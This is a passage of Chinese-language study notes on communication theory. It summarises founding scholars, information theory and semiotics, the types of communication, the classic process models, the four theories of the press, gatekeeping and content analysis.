传播学的奠基人及创立者\n\n拉斯韦尔\n\n美国政治学家，1926年发表《世界大战中的宣传技巧》，对传播学的贡献集中在宣传分析和传播过程研究。是美国系统研究政治传播第一人，是研究宣传的权威，对宣传作了定义，并进一步发展了宣传分析的基本方法。1948年《传播在社会中的结构与功能》是对传播过程、结构及功能做的一个较全面的论述，明确提出传播过程及五个要素（5W经典模式），奠定了传播学研究的基本范围和层面。\n\n卢因\n\n美籍社会心理学家，最早提出了社会心理学中的“场论”和“群体动力论”。一个群体就是一个场，群体是一个整体而不是个体简单相加，群体与个体关系中起决定作用的是群体。群体的规范直接制约和影响个人行为。传播者要通过传播改变一个人的态度、认识和观念，不仅要考虑它的个人因素，更要考虑它所属的群体因素。他对美国传播学的建立起了一定的推动作用，也为传播学研究提供了一个新的层面。\n\n拉扎斯菲尔德\n\n美籍应用社会学家。主张将传播媒介置于完整的社会环境中考察，并将传播媒介社会影响的研究扩展到美国的政治生活中，代表作《人民的选择》。提出了“舆论领袖”概念和两级传播理论，认为传播媒介的作用是间接而有限的，结束了“枪弹论”，进入了“有限效果论”，使研究者深入认识传播环节中众多因素，推动了传播学研究。\n\n霍夫兰\n\n美国实验心理学家，曾主持军方的有关研究，主要用实验方法研究人的态度与说服之间的关系。是“个体差异论”的提出者，它的研究成果被认为是大众传播理论若干重大贡献的渊源，代表作是《传播与说服》。他的研究没有涉及现实社会中的媒介和大众传播，使用实验法研究，研究对象范围有限，因此存在局限性。\n\n威尔伯.施拉姆\n\n第一位传播学家，传播学之父。最大的成就是集前人的研究成果和多学科综合起来进行研究，最终创立传播学（《大众传播学》出版）；不断著书立说，推进传播学发展，主要有《大众传播的过程与效果》《新媒介》《传播学手册》等；大力推进传播学教育，扩大传播学在教育及学术界的影响。先后创建四个研究机构，培养了一大批知名学者，形成了施拉姆学派。还周游世界推广美国的传播学\n\n第二章 传播论\n\n第一节 传播\n\n传播\n\n信息的流动过程。不仅包括人类社会的信息流动，也包括自然界的信息流动，信息是事物运动的存在和表述形式，信息无时无处不在，有信息存在就存在信息流动，有信息流动便有传播。\n\n第二节 人类传播的演进\n\n人类传播的过程\n\n符号和信号时代\n\n说话和语言时代\n\n文字时代\n\n印刷时代\n\n大众传播时代\n\n网络传播时代。\n\n第三章 传播材料论\n\n第一节 信息\n\n信息\n\n传播学研究的信息是人的精神创造物，是在一种情况下能够减少或消除不确定性的任何事物。\n\n而在哲学的角度上说，信息则是事物运动的存在或表达方式，任何物质都可以成为信息源，任何物质都可以产生信息，任何物质的运动过程都离不开信息的运动过程，信息是一切物质的普遍属性。自然界与人类社会，物质世界与精神世界一切运动的信息共同构成我们普遍意义上的信息。\n\n信息的特征：客观性和普遍性、表达性、流动性\n\n人类社会中的信息及信息运动过程的特点\n\n人类社会的信息也是物质的属性，它是物质系统运动过程的表现；\n\n人类社会中，不论信息是来自自然界还是人类社会本身，只要为人们所获取，利用，就必然经过人大脑的加工；\n\n人类社会的信息都要有基本的载体；\n\n人类社会的信息的接受、理解、使用存在着多样化\n\n信息的功能\n\n认识功能；\n\n社会功能——表现在资源功能、启迪功能、教育功能、方法论功能、娱乐功能、舆论功能\n\n信息社会\n\n又称为后工业社会，指的是信息化社会，就是整个社会的广度和深度上，以运用信息化的理论方法和技术处理实践问题为主要特征的社会\n\n如何理解信息化\n\n可以理解为在经济和社会活动中通过普遍地采用信息技术和电子信息设备，更有效地开发和利用信息资源，推动经济发展和社会进步，使由于利用了信息资源，而创造的劳动价值（信息经济增加值）在国民生产总值中的比重逐步上升直到占主导地位的过程；\n\n可以理解为相对工业化而言的一种新的经济与社会格局，在这个新格局中，信息作为管理的基础、决策的依据，竞争的第一要素，成为比物质、能源更重要的资源；\n\n可以理解为文化发展的新阶段\n\n现代信息技术对经济、社会所造成的影响\n\n信息化最直接的形成者便是信息技术\n\n一、 带来产业结构的巨大变化，表现在：在现代信息技术基础上产生了一大批以往产业革命时期所没有的新兴产业；传统产业体系步入衰退，利用信息技术对其改造，成为传统产业获得尊重的出路；服务业的发展使其越来越在国民经济中占主导地位\n\n二、 带来生产要素结构与管理形式的变化，现代社会中，生产要素结构中的知识与技术的作用大大增强，已经成为第一生产力，而物质资料与资本的作用相对减弱\n\n三、 加速经济国际化进程，一方面表现在现代信息技术本身发展的国际化，另一方面表现在现代信息技术对整个经济国际化的推动，\n\n四、 导致社会结构的变化，表现在城市化的分散趋向，家庭社会职能的强化，职业结构中知识与高技术化职业增多，工作方式与生活方式的变化等\n\n信息论\n\n产生于上世纪40年代末，申农发表《通信的数学理论》《在噪声中的通信》，成为信息论的奠基人，认为信息是不确定性的减少与消除。通信的目的在于消除信宿的不确定性，信宿收到信息后，不确定性解除得越多，则获得的信息量越大。申农提出对信息的度量采用“熵”，表示系统失去“信息”的度量，系统有序程度越高，熵越小，所含的信息量就越大，信息与熵是互补的，信息即负熵。\n\n控制论\n\n美国数学家维纳发表《控制论》，成为控制论奠基之作。信息论是控制论的基础理论。所谓控制就是有目的的，核心概念是反馈。反馈是指将输出回输到系统中（传播学认为，反馈是受传者在接受信息后作出的各种反应）。反馈有正负之分，前者指反馈输入后，输出值与目标值偏差越来越大；后者指反馈回的信息输入后，系统可以检查出偏差，从而实现系统目标。复杂系统中还有前馈，在系统发生偏差之前，尽可能根据预测信息，采取相应措施。\n\n基本任务：理论上找到技术系统与生物系统之间某些功能上的相似性、统一性、以便在技术上模拟智能的装置。\n\n系统论\n\n奥地利生物学家贝塔朗菲发表《一般系统论——基础、发展与应用》，成为系统论代表作，其核心观点是系统及其属性。系统定义为处于一定的相互关系中并与环境发生关系的各要素之和。系统具有整体性、有机关联性、动态性、有序性与目的性。\n\n第二节 符号\n\n符号\n\n用来指称或代表其他事物的象征物。可以表示某事物等具体存在，也可表示精神抽象的概念，是一种人类社会独有的、有意义的象征物，是传播者与受众间的中介物，单独存在于其间，承载着交流双方向对方发出的信息。符号具有指代性、社会共有性和发展性、独创性、多义性、灵活性、认同性、隐含性\n\n现代符号学源自索绪尔、皮尔斯等，前者最早提出符号学概念，后者给符号确切定义，并奠定现代符号学理论基础。\n\n传播学从语言符号和非语言符号两个层面进行研究。\n\n语言符号与非语言符号\n\n语言符号是伴随着人类社会的产生而形成的，人们在长期的社会交往中形成的以语音、字形、词汇等要素组成的符号系统，是人类特有的符号系统和交际工具。特点：词语创造的随意性；语言开放性、概括性、社会性。\n\n非语言符号是指不以人工创造的自然语言为语言符号，或以其他视觉、听觉等符号为信息载体的符号系统。特点：组合性、连续性、不可间断性。\n\n符号系统与传播\n\n人类传播是在利用符号的基础上进行的。人类传播具有多符号性，即人们在传播时会通过多种符号渠道传递和接受意义，符号组合传递中，符号的内容和形式都具有意义；\n\n符号系统内部有互补性，传播符号系统中的各类符号互相补充，相互渗透\n\n符号的表示性意义和内涵性意义\n\n符号的表示性意义是指在符号与指说对象首次联系中产生的意义，适用于所有使用符号的社会成员，它是社会中信息传播活动的基础。\n\n符号的内涵性意义是指在符号与指说对象二次联系中产生的意义，适用于部分使用符号的社会成员\n\n讯息\n\n人类传播的材料是信息，它的流通必须经过物质外壳的处理即符号化才得以进行。符号是人类传播的要素。\n\n传播学中的讯息是指传达一个具体内容的一组信息符号。\n\n总之，人类传播的基本材料是信息，它是不确定性的减少与消除，传播学中认为它是人的精神创造物。信息论、控制论和系统科学带动了信息技术的进步，导致了社会信息化。\n\n符号是承载信息的象征物。它是人类社会的创造物。它的语言符号和非语言符号子系统是人类传播的基本要素\n\n“符号互动论”的基本观点\n\n由美国学者库利和米德创立，后经布鲁默总结提出。强调个人活动与社会传播过程之间的关系。符号互动一词是指人们之间发生的相互作用的独特特征，这种特征表现为：人们不仅对彼此的行动作出反应，还理解或“确定”彼此的行动，他们不是对别人的行动直接作出反应，而是根据他们赋予这些行动的意义作出反应。\n\n因此，人的互动是以使用符号，通过理解或确定彼此行动的意义来作为媒介的，这种媒介等于在人类行动的刺激与反应之间插入了一个理解过程。\n\n该理论认为，人类生存的世界不仅是一个自然的物质世界，而且是一个人造的符号世界，这个世界的创造与维系依赖于人类通过符号进行传播的能力，不存在没有符号系统的传播。\n\n符号互动中刺激所引起的反应具有不确定性，这种反应要取决于参加符号互动的人对符号意义的共同理解，这意味着人类的传播行为具有主观性、选择性、不确定性和不可预知性\n\n第四章 传播类型论\n\n传播类型：\n\n内向传播、人际传播、组织传播、大众传播\n\n第一节 人的内向传播\n\n内向传播\n\n或称自我传播、自身传播，是发生在一个人体内的一种信息交流活动，是在主我和客我之间进行的信息交流。在传播过程中，信息主体和信息客体是同一个人。\n\n内向传播的正常形式\n\n感知、记忆、思维、想象、情绪和感情\n\n第二节 人际传播\n\n人际传播\n\n人际传播的特征就在于符号互动，人际传播是在两者或两者以上之间进行的面对面的或凭借简单的非大众传播媒介（电话、书信等）的信息交流活动。\n\n人际传播的特点\n\n直接传播——不依赖大众传播媒介来做中介物，可以在直接了解传者的情绪或个性等特征；\n\n随意性大——传者和受者的位置在交流过程中可随时交换，传播的内容和方式也可根据现实情境随时调整改变；\n\n保密性强——由于是直接交流，而且传播对象和范围可以控制，所以有其他方式不可比拟的保密性；\n\n反馈迅速——直接交流的情况下，传受双方都容易积极主动地进行信息交流，如有中间媒介，反馈的速度和数量都会受到不同程度的影响\n\n速度可以控制——随传受双方的需要而进行变更；\n\n不足——覆盖面窄、易走形、多数留于记忆\n\n人际传播的基础——自我表露\n\n人际传播的动机\n\n认识自我的需要；与他人建立和谐关系；控制周围环境；情感沟通需求\n\n“哈约里之窗”的基本内容\n\n是对自我表露的研究，哈约里之窗由自己了解的信息，自己不了解的信息，别人了解的信息，别人不了解的信息交叉构成四个区域，即透明窗格（开放区域）、不透明窗格（盲目区域）、隐蔽窗格（秘密区域）和未知窗格（未知区域）。由于人们相互交往过程中自我表露程度的不同，哈约里之窗中各区域的大小也不同，且受时间、地点、交往对象等制约，扩大对他人的自我开放区域可以提高人际互动的效率，自我表露是扩大这一区域最有效的办法。扩大人际间的信息交流互动可以扩大开放区域，缩小未知区域\n\n西奥多纽科姆的“均衡式”传播模式内容\n\n西奥多。纽科姆1953年提出\n\n当A向B讲述X时，\n\nA与B 好，对X的看法相同，均衡；\n\nA与B不好，对X的看法不同，均衡；\n\nA与B好，对X的看法不同，不均衡；\n\nA与B不好，对X的看法相同，不均衡\n\n当A与B处于不均衡状态时，X为 A与B所关注，并对于一方有意义时，强烈倾向X的一方会促使另一方改变态度，双方趋于一致，由此而言，人际传播过程是双方关系逐步协调的过程，伴随而来的是和谐现实的人际关系的建立\n\n第三节 组织传播\n\n组织传播及其要素\n\n组织传播是由各种相互依赖关系结成的网络，为应付环境的不确定性而创造和交流信息的过程。包括组织内部成员间，组织间及组织与环境的信息互动。要素为：\n\n信息，信息社会中，组织的生存和发展都依赖于信息，有效的组织传播首先要有信息；\n\n相互依赖，组织中的部分不可能脱离系统和环境而独立存在，需要有互动；\n\n网络，组织传播要有一定规则，根据在组织中担任角色的不同来采用不同的信息传递方法；\n\n过程，组织传播是不停止的信息互动；\n\n环境，组织要受环境制约，与环境互动\n\n组织传播的层面\n\n系统层面，个人系统-二人交流-小群体系统-组织系统；\n\n功能层面，生产功能-创新功能-维持功能；\n\n结构层面，不同层级有不同的传输消息的形式、规则或状态，其复杂性随层级的提高而提高。\n\n组织传播的形式\n\n正规的组织传播，就是发生在组织内部的具有组织性的传播，又可分为组织内部传播和外部传播；\n\n非正规的组织传播，就是发生在组织内部的非组织性传播，是一种没有与组织的正规结构等级和交流网络相对应的信息交流，分为任务指向性和情感指向性两种交流\n\n组织传播的功能\n\n手段性的和满足性的两种。前者，以交流为手段，达到某种事务性的目的，后者以社会-情感的满足为主要目的。前者在绝大多数组织中占首要地位，其存在由组织性质和目的所决定——\n\n确保组织内部协调活动的发生，即建立起组织内部成员的联系协作，以实现组织目标；\n\n确保组织与外部环境建立起联系，来完成正常的输入输出的交换活动，与外部环境适应；\n\n通过组织内部情感交流，加强相互间的了解，增加内部成员的凝聚力和向心力；\n\n通过组织内部多层次，多角度的信息交流满足其成员的社会心理需求，激励其士气\n\n组织传播研究的学派：\n\n功能主义学派：注重研究传播与组织之间的联系与影响，该学派产生了重大影响，在此基础上产生了科学管理学派、人际关系学派、系统论学派；\n\n社会文化学派：认为组织是社会文化的结合\n\n法瑞斯的“交流负载”是指传输给个人的具有一定的数量和复杂性的信息对个人而言，可能为贫乏负载（消息低于处理能力）和过余负载（消息超过个人处理能力）\n\n管理行为与组织传播的理论\n\n科学管理学派：\n\n泰罗创立。把组织的物质资源和人力资源有效结合，以求达到组织目标。采取科学选择和激励性措施，最大限度求得个人发展和报偿，但认为员工是 “经济人”，采取“胡萝卜加大棒”政策，无视人的主体性，忽视人际互动对于提高组织效率的重要性，不利于组织内部沟通和建立良好人际关系。\n\n人际关系学派：\n\n阿基里斯提出。强调“组织成员”的人格个性和心理需要。认为人通过人际互动发展自我，个体也经过自我过滤观察世界，并对外界刺激作出反应。最著名的是麦克雷格的“XY”理论。其核心为充分发挥组织传播的功能，在尊重人的自我价值的前提下，充分调动人的工作积极性，实现组织目标。\n\n社会系统论：\n\n将组织的整体性和过程性相结合的理论。法瑞斯、拉塞尔和蒙奇为代表的结构功能主义理论，从系统、结构、功能三个层次分析。维克的理论将组织化过程和组织交流连接起来，反映现代组织研究新趋势，也属于社会系统论。\n\n改进管理、促进组织传播\n\n创立开放的传播环境\n\n共同参与组织管理\n\n管理者自身素质提高\n\n第四节 大众传播\n\n德弗勒：大众传播是一个过程\n\n在这个过程中，职业传播者利用机械媒介广泛、迅速、连续不断地发出讯息，目的是使人数众多，成分复杂的受众分享传播者要表达的含义，并试图以各种方式影响他们\n\n与拉斯韦尔提出的传播研究的五分法一致，控制分析、内容分析、媒介分析、受众分析和效果分析。\n\n大众传播的特点\n\n大众传播的传播者是职业传播者，是一个传播组织整体或个人；\n\n讯息的传送是广泛、快速、连续、公开的；\n\n大众传播媒介为机械媒介；\n\n受众广泛、成分复杂；\n\n反馈间接、零散、迟缓、具有积聚性\n\n大众传播的基本功能\n\n传播信息：连续不断向受众传递大量信息是第一功能，\n\n引导舆论：做客观公正报道，将舆论引导到有利于社会和人民的轨道上\n\n教育大众：传播知识、科技等，传承了文化遗产，促进了社会化\n\n提供娱乐：\n\n此外还有为受众提供服务、促进社会化、加强社会联系等功能。不独立存在，是一个有机整体\n\n大众传播的负功能\n\n造成受众依赖媒介来选择世界，逐渐远离现实，被传播者左右，或是满足于这种间接了解的方式，把积极地参与事件变成了消极旁观；\n\n信息过量淹没了有用信息，使受众对信息感到麻木、冷淡；\n\n受众过多依赖媒介带来的间接交流，人际交往、互动减少，与社会、群体逐渐疏远；\n\n大众传播中的低级趣味内容降低了受者的平均审美水平和鉴赏力甚至诱发了许多偏离或违背社会规范的行为；\n\n随着大众传播技术的发展，大众传播带来了文化、思想、政治冲击，对社会制度构成威胁\n\n第五章 传播过程论\n\n第一节 传播过程\n\n传播过程模式\n\n基本上利用文字和图表构筑的描述传播过程本身的功能性模式，描述内容包括：\n\n1． 描述过程中的各要素及相互关系；\n\n2． 过程本身与社会环境的互动；\n\n3． 传播过程作为一个整体的运动特点和规律\n\n包括线性传播过程 、控制论传播过程、系统传播过程。前两者是对传播过程内部的微观认识，后者是对传播过程外部关系的宏观认识。\n\n英国传播学家D•伯洛的传播过程观点\n\n1960年提出\n\n传播是一种动态的过程，无始无终，没有界限；\n\n传播过程是一种复杂的结构体，我们研究的就是结构的各要素及其相互关系；\n\n传播过程的本质是运动，即过程中各要素及其关系的相互影响和变化；\n\n总之，传播是由多要素及其相互关系组成的动态的有机的信息流动过程\n\n第二节 线性传播过程\n\n线性传播模式\n\n拉斯韦尔5W模式：1948年提出，指出传播过程是：\n\n谁，传播者，控制分析\n\n说了什么，讯息，内容分析\n\n通过什么渠道，媒介，媒介分析\n\n对谁，接收者，受众分析\n\n取得了什么效果，效果，效果分析\n\n该模式奠定了传播学研究的范围和基本内容\n\n缺陷：高估了传播效果，忽视了反馈要素。\n\n申农—韦弗模式：原为研究技术科学中通信的信息传递问题，被传播学借用。包括五个正功能：信源、发射器、信道、接收器、信宿。一个负功能：噪音，对正常信息传递的任何干扰。缺陷：未能在模式中顾及人的因素、社会因素，忽视了讯息的内容、传播的效果。\n\n格伯纳模式：对拉氏模式进行了详细阐述，提出一个口语模式，包括10个传播学基本研究领域，是拉氏模式的延伸，还包含了与申农模式的比较。\n\n共同缺陷：将传播过程视为起于一点，终于另一点的直线，没有信息的反馈；将传播过程视作非环境互动的静态过程，即内部发生的活动不考虑人的主观能动性，不与传播所生存的环境进行任何交换，忽视社会的客观制约性。\n\n第三节 控制论传播过程\n\n控制论的基本思想便是运用反馈信息来调节和控制系统行为，达到预期目的。控制论传播过程是带有反馈的双向交流过程。\n\n控制论传播模式\n\n奥斯古德—施拉姆模式的特点：\n\n奥首创，施拉姆提出。是一个高度循环的模式，在这个传播过程中，传播者即是制成符号者、解释者，也是还原符号者；受传者也是如此；\n\n传受双方互为传播过程的主客体，行使着相同的功能，即编码、译码和释码；\n\n该模式比线性模式进了一步，它特别适用于人际传播；\n\n缺陷在于，它认为传播是完全对应的、平等的，这与实际传播过程中传受双方往往不对应、不平等相出入。\n\n后来施拉姆又提出了适用于大众传播的模式。\n\n施拉姆大众传播模式的特点：\n\n明确地提出了反馈；\n\n此模式的中心是媒介组织，它集编码者、译码者和释码者于一身，它们可以从受众处获得推测性反馈；编码就是将意义或信息转化成符号的过程，是传播过程中极其重要的环节，译码就是将符号还原为信息或意义的过程\n\n受众往往是由个体组成的，这些个体分属于各个基本群体和次级群体；\n\n该模式标志着从一般传播过程模式走向大众传播过程模式，标志着将大众传播看成为社会的有机组成部分的趋向\n\n韦斯特利－麦克莱恩模式的特点：\n\n此模式对认识大众传播过程意义重大，一是它指出大众传播过程是经过选择的，而且这种选择是经过若干阶段进行的，这说明了大众传播过程中把关人及其多重把关性，二是它指出了反馈的重要性；\n\n不足之处有：它认为过程中的参与者之间是平衡的、互利的、整个系统完全自我调节，事实上，传播过程中参与者之间是很少平衡的，它夸大了大众传播过程的一体化程度，而现实中，每一方都会追求各自的不同的目标，它过分强调了传播者对社会的独立性\n\n控制论传播过程模式存在的问题：\n\n它认为传播过程是双向回路之后，就成了循环、平衡的自我调节系统，而现实中的传播过程，尤其是大众传播过程较少有平衡；\n\n它认为传播过程是一个独立本体运动过程，即传播过程是一个独立于社会的自我运行的系统过程，没有发现传播过程的社会背景\n\n第四节 系统传播过程\n\n系统传播模式\n\n系统论传播过程模式有：赖利夫妇模式、马莱茨克模式、德弗勒的美国大众媒介体系模式、德弗勒的大众传播效果依赖模式，这些模式更多的是研究传播过程的宏观环境、系统环境，更多地认识到传播过程是整个社会运行过程的一个组成部分\n\n赖利夫妇模式\n\n最早提出在社会系统框架中的传播系统模式，认为大众传播是各种社会系统中的一个子系统\n\n马莱茨克模式\n\n从社会心理学角度研究大众传播，提出许多影响传播者和受众的因素，指出大众传播的社会制约性和心理变量，更加全面、系统、具有社会性。\n\n德弗勒模式\n\n美国大众媒介体系模式：表述了在自由市场经济条件下，社会中政治、经济力量的变化与传播过程的关系。\n\n由以下要素组成：\n\n受众：分为不同层次；\n\n各种政治、法律力量与经济力量；\n\n媒介制作和分发组织：均为私人公司，\n\n支撑这个体系运行的是媒介的“低级趣味”内容，它是满足此体系运转的首要财政条件，自由市场原则支配此体系。\n\n大众传播效果依赖模式：这个模式是一种社会系统模式，将大众媒介看成积极参与社会行动的社会、群体和个体层次上的维持、变化与冲突的过程的信息系统。\n\n这个模式中受众、媒介体系和社会体系是决定大众媒介效果出现的条件。这三个要素之间是相互联系的。媒介与社会，个人等依赖关系会发生变化，突出了传播媒介与社会、受众的密切关系，它表明媒介系统实际上是社会系统的一个不可分割的子系统。\n\n大众传播系统过程\n\n大众传播是一个系统的集合：\n\n首先，大众传播是使经济社会日益全球化，信息化的电子信息媒介系统的一个系统；\n\n其次，大众传播是社会系统的一个重要子系统；\n\n第三，大众传播自身又是一个由多个系统组成的系统\n\n大众传播具有自组织性：\n\n大众传播是一个既受所在的社会系统的影响和制约，又具有自身运动和发展规律的系统，是自组织和他组织的统一。众多性质中开放性和非线性比较重要\n\n开放性原理：自组织的前提就是对环境开放，目的是减少无序性，增加有序性。\n\n非线性原理是：在与环境互动中表现出来多值特征。\n\n第六章 传播者论\n\n第一节 传播者的制度环境（报业的四种理论）\n\n大众传播与社会是不可分割的相关体。社会生产力水平等一系列经济、政治、文化因素直接影响和制约着大众传播，性质与统治阶级意志一致，它既带有所在社会的特征，又是服务于该社会的一个子系统。\n\n社会制度都要对他们的媒介进行控制，往往控制在统治阶级手中，大众媒介是统治阶级维护统治的重要工具。\n\n社会制度决定传播制度，传播制度对社会制度有能动作用\n\n集权主义传播制度\n\n15～17世纪\n\n集权主义传播制度植根于专制社会，承认封建君主和特权阶级对报刊等传播媒介拥有的绝对统治权。大众传播媒介，是维护专制统治的工具，不允许报刊批判政府，统治者有权监督报刊的一切活动，包括审查内容。\n\n理论来源于柏拉图、马基雅维利、黑格尔等，他们主张国家对社会的意见应严加控制。\n\n实行集权主义传播制度的国家主要是封建君主专制的国家与军人独裁的国家。\n\n法西斯主义是集权主义传播制度中的重要实践和表现，其宣传的理论基础与指导方针是至高无上的领袖与国家意志、民族优越和对外扩张。法西斯主义传播制度限制议论出版和新闻自由，实际上是一种声音，通过思想、组织与法律上的极端措施，强化其对所有大众传播媒介的控制，是制度的产物，给人类带来了灾难。\n\n自由主义传播制度\n\n资本主义传播制度分两个阶段：自由主义传播制度与社会责任传播制度。\n\n自由主义传播制度的社会基础是早期资本主义的自由竞争机制，理论基础是启蒙运动时期的哲学思潮，核心是以权利、自由为主体的自由主义思想。代表人物有斯宾诺莎、洛克等。弥尔顿发表《论出版自由》，呼吁人们反对封建专制阶级对出版与议论的控制，第一次公开表述有关言论、出版自由的思想，他的思想奠定了资本主义传播制度的基础。“观点的公开市场”和真理的“自我修正过程”成为自由主义传播制度的基本原则。\n\n之后的法、美革命推动了该制度的发展。\n\n该制度的基本主张：\n\n1． 大众传播不受政府控制，传播者具有传播的自由\n\n2． 大众传播多样化、多元化，反映和代表多种不同的意见\n\n3． 大众传播业自由竞争、自由营业。\n\n社会责任传播制度\n\n19世纪末、20世纪初，垄断竞争日益加剧，传播业商业化、集中化、单一化也愈加严重，传播业滥用新闻出版自由，侵犯公民权利，引起社会不满。人们认识到：自由的传播业只能危害社会，传播工作者应该担负起教育公众的社会责任。\n\n社会责任论强调：一定的民主，总是伴随着一定的责任。没有不负责任的民主，也没有不受限制的自由。新闻事业享有新闻自由的权利，同时也应该担负起对社会应尽的责任，承担起对社会安定、国家安全和公民身心健康的责任和社会义务。\n\n1947年美国新闻自由委员会的同名研究报告《自由而负责的新闻事业》，是西方资本主义社会责任理论的最早论述，对传播业提出新的要求：要求对事件给予及时、真实的报道，要注意传播良性社会价值。\n\n国家通过立法和行业自律保障和监督传播业社会责任的履行。\n\n社会主义传播制度\n\n社会主义传播业是在无产阶级取得胜利，社会主义取代资本主义以后，在无产阶级报刊基础上走上历史舞台。社会主义传播制度建立在社会主义传播理论之上，直接与社会主义的根本制度有关。\n\n社会主义传播理论的基本观点：\n\n1． 新闻及传播起源于人类社会性的生产实践\n\n2． 新闻的本源是事实\n\n3． 传播业的产生与发展有赖于社会进步、生产水平的提高及文化、技术的发展\n\n4． 传播业属于上层建筑意识形态范畴，是物质关系的反映，具有政治性、阶级性。\n\n5． 社会主义传播业包括国家各个单位、团体及个人的媒介\n\n我国社会主义传播制度的基本原则包括：\n\n党的领导原则，正面宣传为主的原则，正确舆论导向与监督的原则，真实性原则，党性原则。\n\n传播制度对社会制度的能动作用\n\n一、要维护、巩固和发展该社会制度；二、其基本状态影响着社会中其他派生制度的发展，只有传播制度与其他社会派生制度协调互动，才能促进整个社会的良性运行；三、传播制度的不适应，乃至失控可能影响到社会其他制度乃至根本制度的稳定。\n\n二节 传播者与把关\n\n把关和把关人\n\n卢因最早提出把关概念，就是对信息进行过滤、加工的过程，把关人，又称守门人，就是对信息进行过滤与加工的人。不仅大众传播中此类现象很普遍，在纵向的组织传播中“守门”现象也是显著特征之一，处于组织内部信息流通中间环节的人。既是信息的传送者，又是把关人，会有意识的对信息进行筛选加工。可以减少信息冗余或是信息丢失。\n\n传播者的把关过程\n\n搜集信息——过滤信息——制作信息——传播讯息\n\n为什么把关是传播过程中必然发生的行为？\n\n信息的差异性——必然要对繁多杂乱的信息进行筛选和过滤；\n\n传播者传播目的的差异性——传播者的行为都是在一定目的支配下进行的，传播目的不同，就必然选择满足其目的的信息；\n\n受众的差异性——受众之间差异巨大，其需要、心理相去甚远，因而选择不同的信息便可满足不同受众的不同需要；\n\n媒介的差异性；\n\n宏观环境有诸多制约因素\n\n影响传播者把关的因素\n\n政治法律因素、经济因素、社会文化因素、信息自身因素、传播组织自身的因素、受众因素、技术因素、传播者个人因素\n\n第七章 传播内容论\n\n第一节 传播内容及其形态\n\n传播内容\n\n大众传播的内容是指所有通过大众传媒传播给受众的信息。内容广，来源广，因不同社会制度、不同媒介、不同时空而差异。大众传播内容的特性：综合性、公开性、开放性、大众性、政治性\n\n传播内容的形态\n\n说什么，即特定内容，是内容系统中所包含的特定意义，是传播内容的核心\n\n怎么说，即特定内容的传播方式、手段、方法等，具有外在性、形式性，作用大\n\n对西方传播内容的分析的三点一般性结论\n\n大众传播媒介所传播的内容，只是它所能得到的大量信息中经过高度选择的（不是全盘加以反映）抽样。同样，潜在的受众所收到和使用的信息，又只是他们从传播媒介的内容中选择出来的抽样；\n\n大众传播媒介所传播的内容，相当大量的是娱乐性的，而不是消息性的。它们更多地是分散人们对社会、经济、政治等重要问题的注意力；\n\n大众传播媒介通常都要尽量吸收最大量的受众，因而它们的内容在形式上是简单的，在内容上是通俗的、平易的，以满足最大量受众的需要；\n\n这种状况随着受众文化程度的提高和社会进入工业化和信息化而有所改变，同时，大众传播日益走向分众化，这就要求传播媒介要面对分众之后的目标受众进行传播，更强调针对性而非普遍性，更强调准确度而非广泛性\n\n劝服与态度改变的研究中涉及传播方式和传播效果的研究成果\n\n只说一面或两面都说；信源的特征；情感诉求与理性诉求；防疫论\n\n只说一面与两面者说\n\n同一讯息作两种方式处理\n\n只说一面的讯息对于原先就等同此讯息的人非常奏效，对于教育水平低的人非常奏效；\n\n两面都说的讯息对于原先就反对此讯息的人非常奏效，对于教育水平高的人非常奏效\n\n信源的特征\n\n研究发现，传播者可以选择不同的信源，从而获得不同传播效果，可见信源的自身特征足以影响讯息。\n\n信源的信誉是影响信息的重要因素，信息来源需要具备权威性、专业性、知名度等特征，这样由它发出的讯息，其信誉就高，效果就好。\n\n有时并非如此，有时个人特质与受众接近的人反而可信度高，这取决于所传播的内容\n\n情感诉求与理性诉求\n\n内容的传播可用情感方式，亦可用理性方式\n\n在现实的传播内容中往往既有情感因素又有理性因素，前者打动受众的感情，改变其态度；后者使其认识深入，改变其观念与行为\n\n防疫论\n\n防疫论是美国学者麦奎尔在寻求抗御态度改变的有效方法时提出来的。他认为：人的信念、思想如果未经过锻炼和考验，一旦受到攻击时，便无力抵御。要增强人思想上的防疫力，要使用滋补法，即让一个人事先接触支持其基本信念的论证；还要使用接种法，即让一个人事先接触一种弱性的、为刺激其防卫的反面论证。实验表明，接种法比滋补法更有效。\n\n当对象们接触到对于基本信念的攻击以及对于这些攻击的反驳时时，会形成某种通用的免疫力，而形成的这种通用的抵抗力，足以使这些基本信念在接触到另一种攻击时也不至于改变。\n\n该结论的根据是：实践中观察到，第一次攻击被驳回后，此后攻击的可信度会因此而削弱，另外，对象在受到攻击后，会察觉到他的信念是会动摇的，这便促使其建立其他支持性论点\n\n第二节 传播内容的生产与流动\n\n好的节目的要求\n\n新：新鲜感 深：成熟感 精：品质感 准：对象感\n\n传播者要生产出好的节目，其把关行为要考虑以下因素\n\n受众，即认识研究传播市场，从受众角度搜集筛选信息；\n\n权威，包括政府、专家等，即认识研究把关的原则与标准，从权威角度分析，过滤、加工信息；\n\n媒介特征，即认识把握媒体的编码规律与要求，从媒介要求角度制作、传播信息\n\n科学化、专业化的节目生产过程包括\n\n节目调查：前馈和反馈，搜集信息为节目作准备和积累\n\n节目策划：对内容统一筹划，确定定位、内容、形式等\n\n节目制作：进行编码\n\n节目播出：通过媒体播出\n\n节目效果反馈\n\n第三节 传播内容分析\n\n内容分析\n\n用一系列方法和技巧评价所有传播形式传播的内容.可以是定性分析也可以是定量分析，或兼而有之。\n\n传播内容分析的过程及方法：\n\n抽样——\n\n第一步决定总体，总体与研究主题、目的有极为密切的关系；\n\n第二步抽取样本，具体的大众传播内容分析多采用间隔抽样；\n\n确定类目与分析单元——\n\n类目是内容分析的基本单位，分析单元是内容分析的最小单位，其形成或确立有两种样式：\n\n一是根据研究理论或过去研究成果形成或确立，二是根据研究者的需要自行确立；\n\n方法——\n\n题材分类法是最为常用的内容分析法，就是将各类分析素材按题材分为研究有关的各种类型的分析方法，可作为长期研究中材料归档的标准。\n\n符号编码法就是采用统计符号，即重要词汇出现频次的方法，简化题材分类的方法，确定被调查的传播媒介对某问题关注程度和倾向性的内容分析法\n\n第八章 传播媒介论\n\n媒介，是指传播信息符号的物质实体。\n\n大众传播媒介，是面向大众传播信息符号的物质实体。\n\n新闻媒介，是以传播新闻信息符号为主的物质实体。\n\n媒介组织，与媒介相互联系但意义不同。媒介是一种物质实体，是传播信息使用的工具，而媒介组织是指拥有这些媒介，经营媒介的机构\n\n第一节 传播媒介\n\n认识大众传播媒介的角度（原则）\n\n1． 媒介的传播手段：用什么来传播信息，即用什么传播符号。是区别媒介的根本，也是认识媒介特点的出发点。\n\n2． 媒介时效性\n\n3． 